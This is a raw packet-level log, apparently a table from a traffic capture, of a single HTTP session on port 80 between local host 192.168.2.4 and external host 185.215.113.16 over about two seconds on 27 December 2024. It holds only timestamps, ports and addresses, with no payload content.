Dec 27, 2024 08:45:25.785373926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.786048889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.786063910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.786101103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.786617041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.786823988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.786861897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.787300110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.787619114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.787664890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.787996054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.788131952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.788173914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.788784027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.788888931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.788954020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.789611101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.789676905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.789721966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.790293932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.790309906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.790385962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.790941000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.791068077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.791130066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.791626930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.791726112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.791769981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.792290926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.792375088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.792417049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.793303967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.793319941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.793374062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.793693066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.793852091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.793898106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.794512987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.794606924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.794675112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.795171022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.795269012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.795324087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.796293974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.796310902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.796365023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.796878099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.796892881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.796974897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.797323942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.797462940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.797511101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.797986984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.798070908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.798124075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.798774958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.798860073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.798907995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.799361944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.813268900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.813334942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.813545942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.813654900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.813741922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.813838959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.814311981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.814368963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.814502001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.815387011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.815402985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.815450907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.815738916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.815814018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.816090107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.816443920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.816489935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.816528082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.817142010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.817192078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.817276955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.817925930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.817975044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.817986012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.818591118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.818638086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.818775892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.819349051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.819372892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.819397926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.865889072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.971303940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.971335888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.971349955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.971363068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.971410990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.971441031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.972557068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.972574949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.972620964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.972939968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.022100925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.226624966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.346151114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.673124075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.673146009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.673209906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.673322916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.673336029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.673379898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.674045086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.674057961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.674094915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.674812078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.674824953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.674906015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.675489902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.675503016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.675554991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.676131010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.676141977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.676182032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.797207117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.797262907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.797327042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.797455072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.797537088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.797581911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.797585964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.798285007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.798332930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.798362970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.798944950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.798994064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.799083948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.799693108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.799740076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.799784899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.800409079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.800455093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.800503016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.801158905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.801206112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.801285982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.801865101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.801911116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.801912069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.802567959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.802613974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.802835941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.803689957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.803702116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.803730011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.803988934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.804032087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.875310898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.875349998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.875435114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.922023058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922039032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922101021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.922266006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922278881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922350883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.922831059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922846079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.922899008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.923441887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.923625946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.923674107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.924312115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.924335003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.924381971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.924910069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.925018072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.925065041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.925662994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.925985098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.926035881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.926480055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.926661015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.926707983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.927135944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.927196026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.927242041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.927716970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.927813053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.927859068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.928529978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.928647995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.928698063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.929239035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.929253101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.929306984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.929960012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.929974079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.930020094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.930603027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.930752039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.930797100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.931346893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.931869030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.931915998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.932041883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.932173967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.932213068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.932777882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.933001995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.933051109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.933438063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.933583021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.933629036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.934251070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.934264898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.934313059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.934829950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.935026884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.935074091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.935589075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.935724020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.935769081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.936400890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.936413050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.936455011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:26.998389959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.998657942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:26.998708963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.046487093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.046574116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.046642065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.046710968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.046788931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.046833992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.047347069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.047481060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.047521114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.047910929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.047961950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.047998905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.048553944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.048577070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.048610926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.049313068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.049336910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.049374104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.049981117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.050097942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.050133944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.050709963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.050838947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.050883055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.051428080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.051573038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.051619053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.052151918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.052324057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.052359104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.052876949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.053061008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.053102016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.053566933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.053733110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.053790092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.054275990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.054385900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.054430008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.055074930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.055130959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.055169106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.055748940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.055828094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.055867910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.056518078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.056638956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.056679964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.057167053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.057287931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.057326078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.057847977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.057996988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.058038950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.058624029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.058794975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.058836937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.059267044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.059384108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.059425116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.060020924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.060152054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.060187101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.060708046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.060832977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.060868025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.061415911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.061599016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.061630964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.062125921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.062252998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.062290907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.062863111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.063045025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.063077927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.063604116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.063689947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.063728094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.064316034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.064434052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.064470053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.065046072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.065124035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.065154076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.065707922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.065840006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.065876961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.066412926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.066550016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.066587925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.067152977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.067255020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.067289114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.067861080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.068052053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.068094969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.068638086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.115907907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.123409986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.123570919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.123620033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.170697927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.170819998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.170872927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.171041012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.171160936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.171197891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.171730042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.171839952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.171883106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.172485113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.172504902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.172542095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.173260927 CET	80	49744	185.215.113.16	192.168.2.4
